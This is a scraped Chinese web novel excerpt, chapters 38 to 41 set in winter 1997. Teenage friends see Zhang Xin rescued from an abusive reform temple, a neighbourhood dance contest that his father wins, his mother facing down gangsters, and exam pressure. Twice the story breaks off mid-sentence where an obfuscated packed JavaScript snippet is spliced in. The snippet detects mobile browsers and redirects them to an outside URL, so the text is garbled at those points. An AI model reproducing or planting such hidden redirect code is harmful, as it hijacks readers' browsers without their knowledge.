“这种情况把她留在外面不是更危险吗?留在身边我还可以保护她!” “你又不是她妈,怎么时时刻刻都想保护她啊?” “我也不是你妈,刚刚不也保护你了吗?” “赵慢,你明知道我不是这个意思……” 两人三言两句吵起来。 陈抑休插不进去,原本到嘴的话打了个转,轻轻咽回去,继续笑看着他们吵嘴,偶尔说一两句小声点。 好在没有吵多久,文思泉就带着救兵来了。 赵迟来顿时顾不上其他,立刻冲出去解释情况。 时隔大半个月。 赵迟来终于见到张鑫。 他蹲在墙角,顶着满脸淤青,用戴着锁链的手在盘子里抓汤饭。 房门打开的一瞬间,他还有些不适应,抬手挡了很久。是听见大家不断重复的呼喊,才慢慢放下来。 他认出打头的赵迟来,饭盆哐当一声砸在地上。“老天爷是不来收我了,我怎么看见赵慢慢?” 赵迟来哪里看过他如此傻气的样子,当即红了眼眶:“是我,我们来带你回家了。” 青龙观被缴了。 因为涉嫌非法囚禁虐待青少年而被围得水泄不通。 事后他们送张鑫去了医院。 由于身体和精神都受到不小的虐待,不得不住院治疗。 警察联系了孩子们的家长,章阿兰夫妇第一个赶到。 知道实情的时候,张鑫他爸表示很震惊,第一时间看向旁边一言不发的章阿兰。 “怎么回事?你不是说就一问题儿童教育中心吗?怎么还虐待成这样?咱儿子是犯了什么天条?你把他送去那种地方!” “张文强你什么意思?来的路上我就说了,我压根不晓得他们是这么教育的!在你眼里我到底是个什么东西,会故意把儿子往地底下送?”章阿兰一反常态发了火。 这还是赵迟来第一次见她发火。 起初她一头雾水。 听张鑫他爸捶了几回墙,终于明白前因后果。 原来送张鑫去改造的不是他爸,而是章阿兰。而章阿兰对改造中心的虐待行为也不是很清楚,会决定送过去,完全是被虚假宣传单骗了。 赵迟来听得脑子一堵又一通,即使明白了前因后果还是有些事情理不清楚。 晚上回到家里她翻来覆去睡不着,临了还是忍不住缠着梁惠过来一起睡,把这件事前前后后和她讲了一遍。 梁惠听罢震惊又生气,但更多是针对那些人渣道长。 她忍不住疑惑:“妈,你就不惊讶兰姨的反应吗?” 梁惠一愣:“什么反应?” “她居然也会发火的,狠心把张鑫送过去的人也是她。”赵迟来仿佛发现什么新大陆,“平时她对张鑫不说纵容吧,但从来没有打骂过。” “就算青龙观只是正常的改造中心,我也没想到她能这么果断的把张鑫送过去,而且忍了这么久,真的好久!” “哦,这个啊……”梁惠回想了片刻,有点忍笑,“你要是见过你兰姨年轻的时候,就不会因为这点小事翻来覆去睡不着了。” “啊,那兰姨年轻时候是什么样?” “她呀……那时候可是牌坊街声名远扬的街花!”说到这里梁惠噗嗤笑出声。 赵迟来一听就知道没那么简单,马上抱住她让她展开讲讲。 梁惠推脱了两句,根本推不掉,只能认命凑到她耳边小声解释。 赵迟来听着听着眼睛逐渐瞪圆。 纠结了半晚上的迷雾逐渐散开,清澈的褐色瞳孔里潮水回涨,敬仰弥漫。 39. 1997年冬 39 虽然过程惊险了一点,但人总归是回来了。 张鑫住院期间,赵迟来每天都会去看他。 大多数时候都是送饭。他伤口好得很快,胃口也好,只是人变得沉默寡言很多。 这也没什么好意外的。 谁被关在小黑屋里折磨了大半个月,出来都会对这个世界产生怀疑。 但他们这个年纪的世界并没有多大,父母几乎就是已知宇宙的全部。所以当她发现张鑫对他爸妈都没有什么好脸色的时候,并不觉得难以理解。 她有意缓和一下他们的关系,但却无从下手。 他爸爸这个礼拜几乎每时每刻都在,平时惯常发号施令的一个人,现在会因为他一个眼神,一个动作就立刻附过来嘘寒问暖,没有再贴心的。 至于章阿兰。 她只见她来过一次,以张鑫把她带来的所有东西扫落在地收场。 然后她到嘴的话就收了回去,只能等待其他时机。 张鑫出院的那个晚上,他爸爸特意邀请他们一起来接。 赵迟来穿上了之前文思泉做的那件葫芦娃背心,把保温盒掀开一条缝给他看:“当当当!我爸做的酱油猪脚饭!我一块都没吃哦,特意给你留着。” 他扯出一个久违的嘲笑:“我都看见你牙缝里的小零食了,还没吃?骗鬼呢?” “啊?”她脸上立刻一虚。 “没收了。”他趁机抢走。 文思泉也带了自己做的蛋糕,作为饭后甜点。一休哥和黎明律手里也没有空着,一个带了花一个带了录像带。 张鑫一一收下,笑得比这几天加起来还多,他爸爸看着眼角的褶子肉眼可见深刻很多。 回到田字巷没多久,张鑫他爸爸来邀请他们一起出去吃饭唱歌,说是为了感谢几个孩子对张鑫的照顾。 赵庆国和梁惠难得都在家,一口答应。除了他们,他还叫了几个警局的同事,就是这次第一时间赶到现场的几位。 章阿兰还是没有来。 但张鑫看起来倒是更自在了,饭桌上话就很多,到了KTV甚至张罗玩卡牌。 大人们见他们自己玩开了,也干杯的干杯,唱歌的唱歌,不再管他们。 赵迟来这把和文思泉一组,正在看牌,突然被一句高亢的浑厚男声吓出闷头一跳。 “朋友!一生一起走——” “哎呀钱队长这大宽嗓,真是不鸣则已一鸣吓人!”立刻有人挖苦上了。 “这首张sir唱得好,张sir上张sir!”有人怂恿张鑫他爸赶紧救场。 “该你了。”张鑫催促。 “哦哦,一个三。”赵迟来回神。 没过一会儿张鑫他爸被推上去,堪称要命级别的歌声一下就变成要钱级别的。 他们几个不约而同一愣,同时转过去。 “不是吧,张叔还有这种技能吗?”文思泉惊讶,“每个音都准得不行,堪称专业。” 其他几个包括张鑫在内也是差不多的表情。 “要不然你以为他是怎么追上兰姨的?”赵迟来只是讶异了一瞬就收回视线。 “什么意思?”张鑫狐疑。 “没什么意思嘿嘿,该你了。”这回轮到她催促咯。 临近晚上十一点。 赵迟来又打了个哈欠,收拾东西起身:“不行,坚持不住了,我得回去睡觉。” 她一走,文思泉他们也跟着起身,张鑫指了指对面还唱得难舍难分的几个:“我等我爸一起,送送你们。” 和大人们打完招呼,几人往外走。 张鑫腿脚还没有好太利索又穿得单薄,赵迟来没让他送多远就催他回去。 四个人前后跨入巷子里,和章阿兰迎头遇上。 “兰姨?您怎么来了?” “哦,我给张鑫送件外套,晚上降了不少温,怕他着凉。” “哦,那快给他送进去吧,就在门口。” “我就不去了,你们谁方便帮我拿进去给他……” 她话没说完旁边的陈抑休就伸过手。 赵迟来眼疾手快掐住:“我们都回去了,还有事儿呢,还是您自己送进去吧哈哈!” 不等章阿兰再说什么,她连忙给其他人使眼色,几人麻溜离开。 章阿兰阻止不及,叹了口气继续往前走。 赵迟来回头看了一眼,做了个掉头的手势,对后面的黎明律和文思泉道:“我去看一眼,你们先走。” 她的手还紧紧掐在陈抑休腕上,他当然也跟着一起。 文思泉哦了一声转身,黎明律还站在原地依旧看着两人离开的背影,眉心微蹙脸色不是太好。 她眨了眨眼想起什么跟着回头,多看了两眼赵迟来的手,又看看一言不发的黎明律,面露狐疑。 折回来的赵迟来并没有看见预期中的画面。 张鑫确实还在门口,不过是和一个花臂男说话。这个人赵迟来认得,以前没少拉着张鑫在巷子里抽烟。 “不是吧?这是又联系上了?” “什么?” 陈抑休还没看明白。 “哎呀这个死三金,明明都看见他妈在这儿还和人不清不楚!什么狗屎脾气!”眼看着张鑫和对方离开,赵迟来忍不住哀叹了一声。 “可能是……为了气阿姨吧。”陈抑休终于看明白。 “走走走,回去!”赵迟来甩手拍掌,转身往回走,“这么大个人了,心眼还跟小时候一样……” 陈抑休瞥了眼腕上的红痕轻轻抿唇,扯下袖子盖上:“等我一下慢慢。” 联考才过去没多久,又要准备期末考试。 赵迟来自己还有一堆作业没写呢,压根管不了张鑫的闲事。 第二天放学,她带着新发的专题卷回来找黎明律借笔记,人还没进院就听见一阵吵架的声音。 “……老罗那不行!真是这样还不如让老赵上呢!好歹他有把子力气,还能赌个特等奖!”这个是张鑫他爸的声音。 “前年就是武术,今年开出来的机会太小了,最大的可能还是羽毛球……”这是附近巷子里的邻居老罗叔。 “羽毛球那我们家老赵也行啊!除了唱戏跳舞咱几乎全能这个大伙儿都知道。”这是梁惠在据理力争。 赵迟来瞄了一眼。 附近巷子里相熟的几家几乎都在呢。 一看这个场面她就明白,又到了牌坊街一年一度冬日盲盒运动会的时候了,每年报名前夕大家都得吵一场,为有限的名额好好撕扯一下排兵布阵。 场地就在隔壁的羽毛球馆,所以目前为止羽毛球的频率最高。 其次是排球和武术。 去年是排球,前年是武术,今年不出意外就会回到羽毛球了。 “慢慢啊。” 黎阿公端着一堆空碟出来,指了指里面,“你妈他们商量运动会的事呢,只怕要回来很晚。” “哦我知道。” “阿公给你们定了肯德基,等会儿到了你喊上阿律几个,你们自己玩啊。” 赵迟来一听还有这种好事,立刻敬礼:“保证完成任务,你们尽管开会!” 黎阿公呵呵笑笑,把碟子里剩下的最后几颗糖渍橄榄递给她,打发她回去。 十五分钟后。 所有人在赵迟来家的院子里齐聚一堂。 盖子打开,大家都不约而同“哇”了一声—— “一二三四五……哇塞,是十五块鸡套餐!”赵迟来忍不住咽了咽。 梁辰伸向旁边的儿童套餐:“这是小午的,谁都不准抢啊。” 文思泉也点完另一边的:“这是香脆鸡腿堡和上校鸡柳堡,每个人一个。” “还有……土豆泥五份,薯条三份,菜丝沙拉两份,可乐6杯!” “我要上校鸡柳!”赵迟来第一个出手。 “我先看上的!”张鑫紧随其后。 其他人也不甘示弱,接二连三开启哄抢模式。 饿了一天,谁都没有那个风度孔融让梨。 风卷残云吃掉大半,再把番茄酱全挤在薯条上摇匀。 到这个时候大家才有闲心聊天,猜测这次的运动会能开出个什么盲盒。 “羽毛球吧,两年没办了。” “毫无悬念。” “搞来搞去不还是那些……” “嗯,我也觉得是羽毛球。” 大家意见都挺统一,但莫名其妙赵迟来听见一声冷哼。 她循声转向院外,肖大小姐正好提着一大袋肯德基从门口经过。 从她明显嫌弃的表情来看,刚才那声冷哼多半就来自她了。 “吧唧。” 赵迟来有意恶心她,对着自己沾了番茄酱的大拇指来了一口。 “……” 她果然露出更加一言难尽的表情,愤愤踩回去。 晚上将近十点的时候,隔壁终于散会。 田字巷最后提交的报名人选有两个,一个张鑫他爸,一个赵庆国,嗯,商量大半个晚上的结果还是这两个老将。 赵迟来洗洗睡觉。 第二天是张鑫生日。 为了给他庆祝,吃饭的时候赵迟来就答应请大家看电影。 当然,正规电影院那种动不动25块钱起的票她肯定买不起,但山人自有妙计,前天晚上她在垃圾箱旁边意外捡到一份传单。 上面赫然写着“阿彪私人影像厅盛大开业!0元免费看!” 当然不是免费的,每个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“宣传单上总不会有假,咱快点上去,马上开始了。” 陈抑休埋头跟上,路过咬牙切齿的黎明律身边停下,抬手拍了拍他的肩膀,并未多言。 5块钱带5个人看了一场电影,赵迟来觉得自己赚大了。 直到看见屏幕上视角奇特,色调诡异的梁家辉之前,她都是这么想的。 一开始她还以为播放故障了,特意让大家等一等,中途甚至还起身问了一下老板,结果被告知就是这样,爱看不看。 “一块钱你有得看就不错了,还挑三拣四呢?” 她忐忑回来时,大家眼里的光也都离奇消失。 “这对吗?” “剧情好像是对的。” “但画质……是盗版吧?” “盗版怎么了?盗版不要水电费啊?看就看,不看拉倒!” 赵迟来有点没脸,呛了张鑫一句。话音刚落,屏幕里的梁家辉突然接茬—— 【我话讲完,谁赞成?谁反对?】 屏幕内外同时噤若寒蝉。 赵迟来脸上火烧,坐回去抓起爆米花狠狠往嘴里塞了一口。 “等我……等我发达了,带你们看正版的嘛!” 大家安静如鸡看完,各自回家。 “感谢你赵慢,给我过了个值得回味一辈子的十八岁生日。”临走张鑫假模假式和她握手。 “其实抛开画质不说,剧情还挺好看的嘞。”文思泉小小安慰,“谢谢你啊慢慢,等咱们引进了下次我请你看。” “爆米花……挺好吃。”黎明律第三个离开。 “……”回头发现陈抑休还在,她木着脸,“你有什么怨言,说吧。” 陈抑休看着她的眼睛,轻轻摇了摇头:“没有,下次你要看还可以叫我。” 赵迟来一听眼里的光就回来了:“是吧是吧,你也觉得还能看是吧?” 他不带丝毫犹豫:“嗯,我还挺喜欢的。” “还得是你,下次你请我啊!” 她的沮丧一扫而空,笑眯眯目送一休哥回去。 进屋碰上一座石化的雕像。 是赵庆国。 “爸,你这是怎么了?” 自从上次错过比赛,她已经很久没有看见赵庆国这么颓废的样子了,当即有点不好的猜测,“是不是出什么事儿了?” “慢慢啊,你爸可能不行了。” 赵庆国没有抬头,闷声揪头发。 “呸呸呸不可能不可能的!咱们家破产了?还是你们要离婚了?没关系爸爸你告诉我,我都能接受,咱们一起想办法。”赵迟来强忍住慌乱。 “……” 沉默。 她含泪继续催促。 良久。 赵庆国吸了口气缓缓转头:“今年的盲盒……是自由舞。” “……?” 赵迟来一下子没听清。 反应了好半天才明白他说的是盲盒运动会的事,顿时松了口气。 “自由武术?那咱们不是赢定了!” 40. 1997年冬 40 舞蹈也能算运动吗? “怎么不算?可惜不是拉丁,要不然有些人要丢大脸咯~” 第二天上学路上,赵迟来正和大家吐槽这个事儿,肖筱翩翩然从她边上经过,脸上满满都是挑衅。 “……” 她明白过来:“是你们动的手脚是不是?你明知你妈是首……” “噜噜噜噜——” 对方抬手捂住耳朵健步如飞,压根不接茬。 “可恶!” 赵迟来狠狠握拳。 “这么说,我今年能看见你爸当众热舞这种大场面了?”张鑫面带有趣。 “还有你爸,谁都跑不了谢谢。” “哈哈我爸!四肢比五官还不协调,他就是去凑数的,论舞功还得是你爸。”他摆了摆手大笑。 “如果是武术那肯定没问题,舞蹈……咱们确实比不过,”文思泉认真分析,“不过咱们输人不输阵,到时候阵势一定会比他们大!” 赵迟来不赞同:“谁说我们会输?我们才不会输勒,张叔一定能给他们点颜色看看。” 张鑫哇了一声:“不知道还以为我爸是什么亚洲舞王呢,连舞团首席也不放在眼里。” “我说张叔可以那一定可以,少说拿个副冠军没问题!”她信心满满。 “梦里的副冠军……快走了要迟到了!”三人推推搡搡走远。 比赛定在1月中旬。 对于从来没有接触过舞蹈的初学者来说,这个时间显然短了点。好在赵庆国有点武术的底子,不至于手脚同出。 这次的运动会一共有两个阶段,第一轮个人秀,每个参赛选手都得准备一个独舞,由社区观众票选进入下一轮后,再进入对战赛。抽签决定顺序和对战表。 赵庆国虽然觉得很棘手,但完全没有考虑退赛的问题。隔天冷静下来就开始准备自己的参赛作品—— 剑舞。 既然是自由舞,那舞剑怎么不可以呢? 于是晚上院子里锻炼的影子变成了两道。 最近只要附近的邻居晚上回来经过,都能看见赵家父女生机勃勃的景象。 反观同样中选的张鑫家,还是一副冷冷清清的样子,似乎完全忘了这回事。 到了比赛当天,所有选手观众早早齐聚羽毛球馆。 除了两个人。 肖筱她妈和张鑫他爸。 大家都说林首席那是松弛感拉满没把这小小的社区比赛看在眼里,张叔那是没抱希望所以到点再来个一轮游。 总而言之,都等着看林首席大展身手! 赵迟来收回耳朵,撇了撇嘴,大声给赵庆国加油。张鑫更是早早举起应援横幅,催促对面的黎明律。 “赵叔赵叔!”他振臂。 “舞王既出!”黎明律跟着振臂。 “振臂高呼!!”“咚咚咚——”文思泉和陈抑休从横幅后面站起来敲锣打鼓。 如此反复,都给赵庆国喊出几分不好意思。 等看林首席进场,张鑫更加起劲。陈抑休微微一愣,手里的锣敲也不是丢也不是。 赵迟来见状一把接过来:“你去你妹那儿坐吧,这里快挤不下了。”她指了指朝这里走过来的黎阿公。 陈抑休收起脸上的为难,点点头:“我会在对面继续给叔叔加油的。” 他一走,赵迟来旁边的座位就空了一个。 黎明律自然滑坐过来,把原本的位置让给阿公。 “开始了吗?” “嗯。” 他应了一声很快侧头,比着赵迟来的节奏调整了一下手里的拨浪鼓,含笑望向台上的赵庆国。 赵迟来喊得一脑门大汗,没留意他的动静,倒是另一边的文思泉多看了一眼。 也许是震耳欲聋的喊叫起了作用,赵庆国这把居然有点超常发挥,动作行云流水甚至有几个起跳还拉出滞空感。 肉眼可见的苦功夫打动了在场不少评委和观众,成功进入下一轮! 比完之后他立马回了观众席,捂着胸口一脸后怕:“任务完成,第二轮不上了。” 赵迟来第一个不答应:“那怎么能行?过都过了,我看他们还差得远呢!” 大家都劝赵庆国再试试,但他说什么都不愿意丢这脸,大家就这么一边说话一边看完其他人的表演。 不得不说,牌坊街真是卧虎藏龙。 小小的自由舞运动会,居然炸出不少花城舞王。赵迟来看着看着觉得赵庆国确实不太能干得过,也就没再劝了。 但最厉害的,还得是林首席。 “专业的还是不一样啊?” 热辣的拉丁舞曲收尾,大家都不太能立刻回神,紧接着掌声雷动,迎来今天全场最大的欢呼声。 赵迟来余光不小心扫到对面,恰好撞见肖筱对着这边张牙舞爪吐舌头。 “……” 她很想比个小拇指,但当着这么多人面难免被人抓住把柄,最后只是愤愤冷哼。 最后一场个人秀表演结束,社区主任扫了眼空无一人的待演区,拿起稿子起身。 场内一片喧闹。 “好了大家都安静一下——” “等等!我还没有上场!” 有人打断了她的控场。 所有人闻声转向大门口。 一个挥着皮带的圆润男人快步冲进来,边跑边把皮带穿进黑色西装的裤腰。 “……他这是干嘛?”张鑫一眼认出来。 “不是吧,这是张叔?”张迟来不太敢认,“他哪里搞的这套衣服?裤脚吊起这么一大截!“ “是我。”文思泉举手,嘴角隐约带笑,似乎极力憋着什么。 “嗯?你是不是有什么事瞒着我?”赵迟来狐疑。 “没有,绝对没有。”她立刻肃脸转回去。 赵迟来自己琢磨片刻,忽然想到什么不再疑惑,正身开始期待起来。 虽然姗姗来迟,但本来就不是什么正经赛事,也没有人提出不满。 估计也是看他穿得奇奇怪怪,到底要搞什么名堂。 张叔登场,从怀里掏出一顶帽子,有模有样按在头上站定,示意音乐:“开始吧。” 赵迟来看到这眼里的光一下子锐利! “这是……” 极富动感的熟悉前奏响起。 观众席几乎所有的孩子们都精神一振。 “这是?” “不是吧?” “《BillieJean》!” “是迈克尔杰克逊我的天!” 台上的身影跟着节奏顺畅律动,丝滑的脚步一拉开,孩子们的欢呼就炸了! “啊啊啊啊啊!真的是太空步啊太空步!我就说张叔一定可以的啊啊啊啊!”赵迟来哇哇大叫。 旁边的文思泉终于忍不住:“憋死我了,张叔一早就说要跳这个,让我给他整身衣服!天知道我怎么忍到现在才说的!” 连黎明律也一脸懵。 “阿公,张叔会跳舞这个事,怎早没听你说啊?” “我也是刚刚才知道,上哪儿跟你说?” 几人只是浅浅交谈几句就全神贯注继续观看。 一直到比赛结束。 张鑫看着他爸拿着冠军奖杯和奖金致辞,都还没有从震惊中回过神。 “什么时候的事啊……” “我怎么不知道?” “不是,我怎么现在才知道啊?” “嘿嘿傻了吧,你爸会跳的可多了呢,区区街道比赛,拿下!”赵迟来边说边朝场内挥手。 “你什么时候知道的?”他语气有点阴恻恻。 “就前不久啊。” “还知道什么?” “比如?” “比如他什么时候学的为什么会跳为什么还要瞒着我……” “你不知道?”赵迟来诧异道,“你妈以前可是牌坊街最漂亮的街花,莉莉周舞厅一姐!毫不客气的说,花城所有街溜子看见她都得叫一声大姐的程度。你爸把这样的人物追成了你妈,不得往死里下苦功夫啊?” 张鑫显然从来没有听说过类似的故事,五官聚在一起每一个都在说胡扯! “不信你去问你妈。” 赵迟来才懒得跟他解释,忙着去找得胜回来的张叔要喜钱。 张鑫纠结到了第二天,还是没想明白。 被赵迟来怂恿两句,下晚自修就想去警局找他爸。 分开之前,赵迟来习惯性往回看了一眼,很快定在原地。 她看见两个花臂黄毛,掐了嘴里的烟朝张鑫走过去。自从上次道观回来,她已经很久没有看见这种情况了。 想了想,她拉起文思泉快步往回跑。 一直跑到张鑫家找到章阿兰,把刚才的事和她说了。 “你是说,张鑫又和那群黄毛走了?”她钩鞋的针立时停下,一脸不可置信。 “也不是……他主动走的,我看他们箍着他脖子,挣脱不掉……对吧思泉。”她怕章阿兰一时冲动又做出伤张鑫心的事,试图挽回。 但没用。 章阿兰还是起身就走。 经过外面的杂货间顺手抄起两瓶二锅头,快步走出院门。 “兰姨!兰姨!你冷静点……” 两人阻止不及,文思泉有点慌了:“慢慢,咱们要不要跟上去看看?我怕出事。” 莉莉周歌舞厅门口。 张鑫再次试图从肩上的胳膊下挣脱出来,但转身另一人已经挡在身前。 “之前的事就当你说的是真的,那消失这么久是事实吧,总得给彪哥敬杯酒赔个不是?”花臂递过来一根烟。 张鑫没接:“戒了,下次吧,时候不早我还得给我爸送东西……” 另一个不满打断:“你什么意思张鑫?彪哥请你那是看得起你,你别敬酒不吃吃罚酒啊?咱……” 话没说完,被沉冷的女声打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474244|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 断。 “敬酒也好罚酒也罢,我替他吃!” 几人循声转头。 阴暗的巷口走出来一个穿着拖鞋的女人,她头发蓬乱还穿着睡衣,似乎刚从被窝里出来。 “你……”花臂啧了一声,有点头痛,“大姐你谁啊?” “……”张鑫抠了抠额角。 “我是他妈。”章阿兰用瓶子指着他,不躲不闪。 剩下的事情赵迟来没有当场见到。 她和文思泉在门口远远徘徊了大概五分钟,实在忍不住去找张鑫她爸时,母子俩从门口出来了。 送他们的依旧是那两个花臂黄毛,但这次毕恭毕敬,张口闭口“姐慢走”“姐以后常来”。 完全和进去前两幅面孔。 后来她听张鑫说起那天在包厢里发生的事。 说章阿兰原来和歌舞厅的老板彪哥是老相识,当然这是彪哥单方面的说法,章阿兰根本不认。 当天她提进去的两瓶二锅头,有一瓶当场就吹了,一滴不剩。 “那另一瓶呢?”她问。 “这个问题……彪哥也问了。”他语气有点怪异,隐约带着几分恐惧,几分不解,又似乎还有其他东西。 “所以那瓶谁喝了?” “她当场敲了,然后拉着我的手用瓶嘴指着他们,说谁想尝给谁。” 张鑫说完很快回到了手里的单词本上。 他看起来很平静,实际上藏在书页后面的指节控制不住在发抖。他说的都是实话,只是还有一句没说—— 回到家里没多久章阿兰就哭了,蹲在洗手间的墙角哭得泣不成声。 他没有问为什么,只是在第二天早上四点就去了图书馆。 一直坚持到高考结束。 赵迟来了解他,平时没事的时候比谁都爱嚷嚷,真有事的时候反而会一句话不说。 就像现在。 但她并没有追问什么。 谁都有不愿意和人分享的小秘密,她作为朋友,可以在他需要的时候两肋插刀,也可以在他不需要的时候三缄其口。 至于其他…… 她摸了摸兜,掏出五十块钱。 这是运动会那天张鑫他爸给她的喜钱,她想了想,决定请他看上次没看成的正版电影。 最近的一家电影院在城南新街,就在百货大楼里面,学校后门出来步行不到十分钟。 下午放学她去了一趟,在前段时间上映的新片里挑选片刻,指了指正中间的《甲方乙方》。 “你好,我要两张这个,晚上九点半那场。” “一张三十块,两张六十。” “啊?不是二十五吗?” “一直是这个价啊。” “哦……好吧,那我想想。” 她有点纠结,不太舍得再贴上十块。 但走了没两步,还是认命转回来。 “给我来两张吧。” 难得进电影院一趟,赵迟来拿着票飞快往回奔。 原本在座位上背单词的张鑫已经不在了,她问文思泉:“三金呢?” 她也一脸茫然:“吃饭去了吧。” 于是她又等了等。 但一直到晚自习过半,张鑫还是没有回来。 眼看就要到放映时间,赵迟来等不下去,干脆邀请文思泉一起去。 “我晚上有其他计划呢慢慢,要不等周末吧。”她以为还没买票。 赵迟来掏到一半的手又放回去。 “好,好吧……下次再去。” 两张票,她一个人难不成真看一张扔一张? 请别人吧,她又舍不得。想了想,她收拾东西往外走。“那我自己去了,晚上就不和你一起回了。” “啊?你真去啊?” 她当然不是真去。 电影院门口总有要看这场的人,她吃点亏,便宜出给别人也好过白给吧! “你好,你要看九点半的《甲方乙方》吗?我票买多了……” “太晚了要等好久。” “不用了谢谢。” “多少一张?” 并不是很顺利。 一开始是有人嫌离放映时间太久,等时间过了又担心她是骗子,或者趁机压价。她又不愿意贱卖,最多只肯便宜两块,来来回回问了好些人票都还在手里。 眼看时间将要接近九点十五,她抓了抓脑袋,终于还是决定再退一步。 “五块也不是……算了!十块!不能再低了,再来一个就算强买强卖我也得出掉!” 但这个价真有人要她又觉得血亏,想到之前看盗版的事,觉得找一休哥弥补遗憾也不是不行。 “不好意思,我不出了。” 她转头离开。 没想到刚走没两步,身后就有人主动搭话。 “你那两张票我要了,原价。” 赵迟来大喜,却见只来了一个人。 还是个熟人。 41. 1997年冬 41 “黎明律?怎么是你啊?” 他还背着包,看起来刚下课的样子。 “来找张鑫,思泉说在这儿,结果只看见你了。” “张鑫不在这儿啊,他老早就走了,思泉知道的呀?” “可能她听成你了吧。”他没太纠结,点了点她手里的票,“几点的?” “哦,九点半的。” “快开场了,估计也很难卖出去。”他翻出钱包,“你都给我吧。” “你买它干什么?你又不爱看电影。” “偶尔看一看也无所谓,一共多少?” “六十。” 赵迟来看他不像开玩笑,嘴角微微一松,但很快压下去。 黎明律爽快取出一张五十一张十块递给她。 她缩了一下,心里有点纠结。 他能帮忙消化一张已经不错了,全塞给他似乎不太合适。 “其实,其实一张就够了,两张太浪费,你总不能真看一张撕一张?” “心疼啊?” “废话。” “那你自己看。” 他不由分说把钱塞她手里,抽过其中一张电影票转头进场。 “哎,哎你这个真不要了?” “不要了。” 退又不能退,丢肯定更不能丢,赵迟来叹了口气塞好钱跟上去。 还好不是什么文艺爱情片。 剧情意外也很不错。电影开篇没多久她就把那点纠结抛到九霄云外。 但出了电影院她脑子又不剩什么有用的东西,除了葛优那句循环播放的“地主家也没有余粮啊”。 “谢谢你黎明律!我今天看得很开心,还有爆米花也很好吃!”她比了比还没吃完的米花桶认真道谢。 “不用,反正你不看也会空着,不算特意请你。” “那也得谢谢你。”她抓了一把往嘴里塞,“还有你阿公。” “关他什么事?” “谢谢他给你富裕的零花钱啊!” “……” 黎明律眉心纠结了一瞬,“我零花钱不是他给的。” “啊?那是你爸从香港汇过来的?还是你妈大老远从……” “都不是,哎你看路!” 隔壁也刚刚放映结束,通道里挤满了出去的观影人群,他顺手拉了一把快被撞上的赵迟来,带着她一起贴墙让人先走。 经这么一吓,赵迟来到嘴的话给忘了,老老实实站在原地。 等人没那么拥挤,她就想继续往外走,腕上的拉扯又给她拉回来。她低头,这才发现是黎明律的手。 他从刚才一直没松开。 “干嘛?” “等他们走完。” “那你先松开我。” “你抓别人就可以,我抓你就不行?” 赵迟来愣了片刻,心生荒谬:“我什么时候抓你了?就算有你报复心也太重了吧?” “……” 黎明律启唇似乎想要反驳,到头来只是吸了口气。 “算我有病。” 说罢埋头快步往外走。 好好的和谐相处再一次戛然而止。 赵迟来不晓得又哪儿得罪他,换在之前她是不想理的,但吃人嘴短,票根还在手里呢,她只能追上去。 没过两天,期末考试如期而至。 经过一整个学期的刻苦学习,赵迟来虽然算不上胸有成竹,但确实不似以前没底。 填写完姓名,她下意识在日期那一栏写下“1997”,写完才想起1998的元旦似乎早就过去。 因为花城人习惯农历之后才称新年,所以最近一直没什么实感。 时间还真是快啊。 她只是感叹一瞬,随手在“7”上添了一笔改成“8”就开始认真阅题。 对小孩子来说,期末考试是一件很值得期待的事。 它意味着即将迎来漫长的寒暑假,意味着睡不完的懒觉,吃不完的零食和看不完的电视。 但对于即将高考的大孩子来说,它和一堂临时兴起的小考并没有区别。 结束这一场,很快又会有那一场,一刻不得松懈。 尤其在成绩出来之后。 和上次联考相比,赵迟来又进步了,但这点小小的进步在张鑫的大飞跃面前根本不值一提。 梁惠拿着试卷一点点比对,反复在她面前分析丢分的知识点,然后和往常一样,整理出一份提分计划,交给了大清北。 “张鑫这孩子也是个干大事的,这才几天就闷声不响提了一百多名,马上到你前面去了。我听他妈说他还没像你一样搞补习,都是自学……” “天不亮就去了图书馆,深更半夜才回来,一不小心几天都碰不到面,我觉得咱们可以学习一下。” 吃饭的时候梁惠反复提起这一茬。 难得的放纵餐,赵庆国又做了满桌的饭菜,她吃了一小碗就有点没胃口。 “我吃饱了,去做会儿题。”她放下筷子起身。 “哎,跟你说话呢你跑什么又?一说学习就不高兴,你这样怎么学得进去?”梁惠忍不住提声。 “好了好了,吃饭呢别动火,慢慢是个聪明孩子她听得懂,不用反反复复说。”赵庆国打圆场,“来,这个生蚝鸡可是煲了好久……” 外面的念叨很久才停。 赵迟来抹了一把眼睛,翻开练习本。 眼睛盯着同一个地方好半天依旧没有动笔,她忽然起身想去找文思泉,但想起思泉前几天回了上海,又坐回来。 晚上睡觉的时候,她还是忍不住偷偷溜出来给思泉打了个电话。 “喂慢慢?你还没有睡吗?”电话那边有很多说笑声,听起来很嘈杂。 “有点睡不着,你怎么也没睡?”她怕吵醒房间里的爸妈,声音压得很低。 “外面下雪了,我们看雪呢……”文思泉听出她的不对劲,“你怎么了?是不是哭了?” 本来不想哭的,听到这句赵迟来却眼睛泛酸。 但好在她很能忍,硬生生憋回去:“有点感冒了,你说你那边下雪了?上海不是南方吗?也会下雪吗?” 文思泉嗯了一声,兴奋地和她说起上海的雪:“会的会的,虽然很少。上海的冬天也挺冷的,比咱们花城冷多了,我来了这么多次,也是第一次碰见现场……要是有那种可以拍照的电话就好了!这样你就可以和我一起看,还怪好看的!” “没关系,你给我说说也是一样的。” “唔……就小小碎碎的,湿湿冷冷的,一开始是小冰晶,后来就像冰糖一样慢慢砸下来……” 她一边说赵迟来脑子里一边想,竟也没有那么伤感了:“听起来好小哦,不是那种鹅毛一样的大雪吗?” “哈哈哈那种大雪南方很少见吧,得去北方看才行!” “哦,原来是这样,我都还没见过雪呢,南方的雪都没见过。” “那你现在要不要来找我?我给你买票!” “我……我就不来了,还有好多试卷没写完……” “那等我们考完大学,明年一起去北方看?” “好。” 她又和赵迟来说起北方的雪。 